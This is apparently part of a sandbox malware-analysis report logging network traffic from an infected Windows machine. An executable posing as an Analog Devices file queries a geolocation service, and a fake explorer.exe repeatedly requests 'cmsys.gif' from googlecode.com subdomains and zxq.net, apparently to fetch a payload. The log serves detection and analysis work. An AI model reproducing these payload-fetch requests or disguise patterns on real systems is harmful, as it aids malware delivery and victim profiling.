64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:34.823517084 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	64891	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:35.378067970 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:36.105335951 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:36 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:36.105365992 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	64892	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:14:37.272298098 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:14:38.003484964 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:14:37 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:14:38.003539085 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:40 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-10 08:12:40 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:40 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2653 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K1kYWCkgsqtpdQF0%2B8maLmunEzRReRtfptdtaW0BC6u7y5K7%2FCKjkHk1DuU2Sk3TxkW75HkSI77cNp8ul397sqfggAT6i1MyIZPiEzBgwBTYU9tKN%2BOhLQchbQdCrXmlF4xQa%2B2h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d05259009f418d0-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:40 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:41 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-10 08:12:41 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:41 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2654 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YgGFUrjxvjMoWx27KH9z3nc0nj76SlTRx0u0cT9UnmxYYMItGS%2BqPlNnR9M6rr53pF%2FkeBLV6376NXiGbSLZll7Q6lR2jUC3BYfQm3uY8cG5561gtVbLoEd9MN9QwWzl05Vz7Saf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525972d7a421d-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:41 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49748	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:42 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-10 08:12:42 UTC	699	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2655 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s8oII5vMYH1GfgaAq7LN5wSW4G0MnbTGQSFCWton76zLXwYldkA6nIKMdp6VlOrgaxKpM6VjDi7OIIHqmkwIaOkKhCQC26N7ZNRsRQ5OJuUkQ1QLftDDVNRCdXZXKyFPzS4StVvh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d05259f4cd941f9-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:42 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:43 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-10 08:12:44 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:44 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2657 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BErtx%2BbXGQcmHnezQRa7Wym1Ow5SODJFGmLwhljrgdT2md5q8sdwgsq8oc9UmQnqwNr82XCyScaAndDRynNqYX02V3LRLt1Em6naELS6lci8ChLdsuvl5qpvqRS38AOPXCPNQGvv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525a769b06a59-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:44 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:45 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-10 08:12:45 UTC	707	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:45 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2658 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h0ixzpT7kjhlNBhSNjffLu9%2FpAcCl9TjecTV29YQxqPcn1SLkU64ps4AD9ez62JfH35mJGIPERXVUHY1hztFtPjeb%2BkDTOSCCZoMOl0Dx1hOWMI%2BYCTAFg%2BDp1NroYpDtzNkBelE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525b0ca8b8c90-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:45 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49754	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:47 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-10 08:12:47 UTC	711	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:47 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2660 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bgf7HMlZehdAACaaB%2F79zSXplsLbG%2BsQybSZT5m8zD4d4YTkehLFgX0sAvaTDdbZv7TukXfJQc6M6by1M%2FbsaChX3Rk0DM5fmj7BMmFNWF0MMT5ARh%2BHZN5FCUMF%2FoqO%2BiV9meuG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525bd3e5342d3-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 08:12:47 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-10 08:12:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49758	51.81.194.202	443	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:48 UTC	193	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: zxq.net
2024-10-10 08:12:48 UTC	614	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://zxq.net/wp-json/>; rel="https://api.w.org/" x-redirect-by: WordPress location: https://zxq.net/what-happened-to-the-old-zxq-website/ x-litespeed-cache: hit content-length: 0 date: Thu, 10 Oct 2024 08:12:48 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49759	188.114.96.3	443	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:12:48 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-10 08:12:48 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:48 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2661 Last-Modified: Thu, 10 Oct 2024 07:28:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1C94HTG8LoPkyJU0hi2Zx1DBMaMpUyqBuk6nHPjnCq6d6tJcBc5VhTCwAJy5EwdHHNtyIMVgSAc%2Bmvfvev1Za1np%2FISgAVed4smwVGoqPiYyaRBGVMmmNFJ6leZor6D2WQNVd29R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0525c5a8960f81-EWR alt-svc: h3=":443"; ma=86400
